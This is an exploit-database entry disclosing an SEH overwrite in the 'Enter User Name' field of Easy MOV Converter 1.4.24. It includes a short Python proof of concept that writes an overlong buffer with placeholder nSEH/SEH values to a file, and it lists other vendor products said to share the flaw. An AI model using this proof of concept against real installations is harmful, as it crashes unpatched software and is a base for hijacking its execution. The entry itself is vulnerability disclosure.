Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC

vendor:

Easy MOV Converter

by:

Muhann4d

7,6

CVSS

HIGH

SEH Overwrite

119

CWE

Product Name: Easy MOV Converter

Affected Version From: 1.4.24

Affected Version To: 1.4.24

Patch Exists: NO

Related CWE: N/A

CPE: a:divxtodvd:easy_mov_converter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 SP1 32bit

2017

Easy MOV Converter – ‘Enter User Name’ Field SEH Overwrite POC

Easy MOV Converter is vulnerable to a SEH overwrite vulnerability. By entering a specially crafted string of 1000+ characters into the 'Enter User Name' field, an attacker can overwrite the SEH handler and gain control of the program flow.

Mitigation:

The vendor has not released a patch for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC
# Date              : 12/03/2017
# Exploit Author    : Muhann4d
# Vendor Homepage   : http://www.divxtodvd.net/
# Software Link     : http://www.divxtodvd.net/easy_mov_converter.exe
# Tested Version    : 1.4.24
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 SP1 32bit

# Proof of Concept  : run the exploit, copy the content of poc.txt
# go to the Register button and in the "Enter User Name" field paste the content of poc.txt and press OK.

# The vendor has been cantacted but no reply

#   All the vendor's softwares below are affected to this bug which all can be found in http://www.divxtodvd.net/ 
#   Easy DVD Creator
#   Easy MPEG/AVI/DIVX/WMV/RM to DVD
#   Easy Avi/Divx/Xvid to DVD Burner
#   Easy MPEG to DVD Burner
#   Easy WMV/ASF/ASX to DVD Burner
#   Easy RM RMVB to DVD Burner
#   Easy CD DVD Copy
#   MP3/AVI/MPEG/WMV/RM to Audio CD Burner
#   MP3/WAV/OGG/WMA/AC3 to CD Burner
#   MP3 WAV to CD Burner
#   My Video Converter
#   Easy MOV Converter
#   Easy AVI DivX Converter
#   Easy Video to iPod Converter
#   Easy Video to PSP Converter
#   Easy Video to 3GP Converter
#   Easy Video to MP4 Converter
#   Easy Video to iPod/MP4/PSP/3GP Converter

buffer = "\x41" * 1008
nSEH = "\x42\x42\x42\x42"
SEH = "\x43\x43\x43\x43"
f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH)
f.close()